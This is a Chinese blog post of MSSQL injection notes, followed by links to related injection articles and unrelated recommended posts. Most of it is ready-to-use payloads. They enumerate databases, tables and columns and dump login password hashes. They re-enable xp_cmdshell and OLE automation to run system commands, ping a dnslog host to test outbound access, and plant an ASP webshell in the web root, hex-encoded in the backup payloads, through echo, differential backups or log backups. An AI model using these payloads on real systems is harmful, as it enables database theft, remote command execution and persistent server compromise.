MSSQL 注入笔记
前置知识:
登录名:登录sql server服务器的用户,而不是操作“数据库用户名”。
固定服务器角色:就是上面登录名所属的权限组。其中重要的就是“sysadmin”角色,具有服务器的全部操作权限
数据库用户:操作数据库的用户名,和登录名关联。例如:“dbo用户名” 关联 “sa登录名”,所以当执行SELECT USER; 的时候显示的是 dbo
数据库角色:数据库用户所在的组。读,写,db_owner等一些角色。
架构:数据库对象(表,视图,存储过程)的容器,类似命名空间:
那为什么我们访问一个表的时候,比如写类似于这种语句:SELECT * FROM Table不需要制定架构名称呢?
数据库中对象的全名称写法应该是:(服务器名.数据库名.架构名.对象名), 那是因为MS SQL内部解析的机制是这样的(你不写明架构名的话):
第一步先在sys架构中找这个表,找不到就在默认架构中找,再找不到就跑到dbo架构中找。
创建一个用户的时候,MSSQL都会让你选择一个默认架构,如果你不选的话,那就是dbo。
dbo架构是怎么来的?创建出来的---还记得建立数据库的时候会创建一个dbo的用户么,就是那个时候自动给你添加了一个同名dbo架构。
视图:视图是一个虚拟表,实质是储存的sql语句。假如你要联合多个表查数据,那么sql无疑会相对复杂,每次都要输入这么复杂的sql语句?
视图就是可以将这个sql记录起来,每次查视图就是执行这条sql语句了。我们在注入中,查询的主体还是视图。
注入语句:
mssql中当存在数据类型转化时,就会出现错误,所以我们可以利用来回显数据。
注入基本信息:
AND 1%DB_NAME(7); 数据库 db_name函数,控制其中的数字就可以指定爆出第几位的库名。使用任何一个 运算符 和 整形 运算,都会导致报错。
AND 1^@@VERSION 版本信息
AND 1/user 当前用户
select is_srvrolemember('sysadmin') 判断用户是否属于 “sysadmin”服务器角色(最高权限)
SELECT quotename(name) FROM master..syslogins FOR XML path(''); 查询所有登录名。返回结果是一条记录,得益于:FOR XML 语法,将数据转化成xml数据
暴库语句:
SELECT quotename(name) FROM master..sysdatabases FOR XML PATH(''); 查询所有的库,返回一条记录,原因同上。
爆表语句:
SELECT quotename(name) FROM test..sysobjects WHERE xtype='U' FOR XML PATH('');
test..sysobjects:test是需要查询的数据库名,两个点中间省略的是架构名,sysobjects是视图名。
xtype='U':中的U表示 用户表
FOR XML PATH(''):如上解释,为了让多行数据作为一行返回。
select top 1 name from db_name().dbo.sysobjects where xtype='U' and name not in (select top 2 name from test.dbo.sysobjects where xtype='U')
爆列语句:
SELECT quotename(name) FROM test.sys.columns where object_id = OBJECT_ID('user') FOR XML path('');
OBJECT_ID('user'):中的user就是需要爆的表名。
test.sys.columns:test就是对应的库名
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'user'); 查询列,user是表名,只能查询当前数据库,和下面那句类似。
SELECT name FROM syscolumns Where id = Object_Id('user')
查询数据:
SELECT * FROM [user] FOR XML path('');
查询登录账户信息:
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 2000版本
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins 2005版本
通过延迟判断是否支持多语句:
';waitfor delay '00:00:10'-- 延迟10秒
关于xp_cmdshell 存储过程:
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
//判断XP_CMDSHELL是否存在,默认存在,sqlserver 2005版本开始,默认禁用。
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
上面4条语句,直接一次执行即可。
使用:
执行ping dnslog记录判断是否能访问外网:
';exec master..xp_cmdshell "ping xxx.dnslog.cn"--
xp_cmdshell是有回显的,但是如果程序没有处理对应的回显,那么我们可以将回显insert into表中,在查询表获取回显。
CREATE TABLE tmp(info text,dir text); 创建tmp表,存在info,dir两个字段,类型为text。
insert into tmp(info) exec master..xp_cmdshell "whoami" 查看当前数据库权限
insert into tmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (index*.aspx) do @echo %i ' 搜索文件,* 不能省略。
;exec master..xp_cmdshell 'echo ^<123^> > d:\\WWW\\1.aspx' ; 写入一句话,注意,写入内容中的<>需要使用 ^ 转义。
drop table tmp; 删除创建的tmp表。
mssql中没有mysql中的limit 语法,只有使用top来限制条数。
select top 5 * from table; == select * from table limit 5;
select top 5 * from table where name not in (select top 10 * from table) == select * from table limit 5,10;
*******
另外一种执行命令有回显的方法:
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
需要启用sp_oacreate:
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
通过备份getshell:
差异备份,log备份:这二者都是基于完整备份下的,也就是说必须存在完整备份下才可使用。(不影响我们操作,因为我们就可以进行完整备份,注意:大数据可能会导致卡死一说。)
权限:无须属于固定服务器中的“sysadmin”角色,属于数据库角色“db_owner”即可。
payload:
差异备份:
backup database test to disk = 'c:/1.bak' with init
create table tmp([tmp] varchar(2000))
insert into tmp([tmp]) values (0x3C25657865637574652872657175657374282261222929253E)
backup database test to disk='c:/d.aspx' WITH DIFFERENTIAL,FORMAT;
log备份:
backup database sql to disk = 'c:/2.bak' with init
alter database sql set RECOVERY FULL
create table cmd ([tmp] varchar(2000))
insert into cmd([tmp]) values (0x3C25657865637574652872657175657374282261222929253E)
backup log sql to disk = 'c:/aaa.aspx'
文章持续更新。。。
MSSQL 注入笔记的更多相关文章
- 收集的MSSQL注入笔记
①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...
- 渗透测试学习 九、 MSsql注入上
MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...
- 一个罕见的MSSQL注入漏洞案例
一个罕见的MSSQL注入漏洞案例 这里作者准备分享一个在去年Google赏金计划中发现的相当罕见漏洞,也是作者在整个渗透测试生涯中唯一一次遇到的. 目标网站使用了微软 SQL Server 数据库并且 ...
- MSSQL注入常用SQL语句整理
很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- 啊D工具语句 适合Access和Mssql注入
啊D注入工具中使用的SQL注入语句 爆user )) )= | ***** ?Id)) : ?Id : Id 检查SA权限:)))) 爆当前库: )) -- 检查是否为mssql数据库:and exi ...
- mssql注入指令
and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...
- mssql 注入
注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...
- mssql注入中的储存用法删除与恢复
删除: use master exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc 'xp_enumgroups' exec ...
随机推荐
- java中变量和标识符名命名规范
变量存放的是内存地址,当定义一个变量后,我们可以通过变量名找到该内存地址,可以修改该内存区间的值. 标识符的命名规范:首字母:字母,下划线,$符号:其余部分:数字,字母,下划线,$. 标识符应该避开j ...
- 原来大数据 Hadoop 是这样存储数据的
HDFS概述 产生背景 随着数据量越来越大,在一个操作系统中存不下所有的数据.需要将这些数据分配到更多的操作系统中,带来的问题是多操作系统不方便管理和维护.需要一种系统来管理多台机器上的文件,这就是分 ...
- 《中间件性能挑战赛--分布式统计和过滤的链路追踪》java 选手分享
2020年6月份天池举办的<中间件性能挑战赛>可谓是异常激烈,本人抽业余时间报名参与,感受比赛惨烈的同时,也有诸多感慨哈,总结一个多月的赛程,多少有一些心得与大家分享 本文原创地址:htt ...
- VUE项目性能优化实践——通过懒加载提升页面响应速度
本文由葡萄城技术团队原创并首发 转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 最近我司因业务需求,需要在一个内部数据分析平台集成在线Excel功能,既然我 ...
- 风炫安全web安全学习第三十一节课 命令执行以及代码执行演示
风炫安全web安全学习第三十一节课 命令执行以及代码执行演示 参考: http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十一节课-命令执行以及代/
- MySQL/MariaDB二进制安装
本文说明MySQL/MariaDB二进制安装的过程 mysql和mariadb的安装方式基本一致,唯一初始化方式有点不一样 1.规划: 数据文件存储位置 /data/my ...
- 卷积神经网络学习笔记——Siamese networks(孪生神经网络)
完整代码及其数据,请移步小编的GitHub地址 传送门:请点击我 如果点击有误:https://github.com/LeBron-Jian/DeepLearningNote 在整理这些知识点之前,我 ...
- Zap简单使用
前言 zap 是 uber 开源的一个日志记录的包, uber 在 go 的领域建树颇多, zap 更是优秀, 相比于自带的 log ,他有更多的功能, 当然, 最显眼的还是他很快, 本文介绍 zap ...
- 实验一-最小生成树Kruskal算法
实验名称 最小生成树算法-Kruskal算法 实验目的 1.掌握并查集的合并优化和查询优化: 2.掌握Kruskal算法. 3.能够针对实际问题,能够正确选择贪心策略. 4.能够针对选择的贪心策略,证 ...
- LeetCode617. 合并二叉树
题目 1 class Solution { 2 public: 3 TreeNode* mergeTrees(TreeNode* t1, TreeNode* t2) { 4 if(!t1 && ...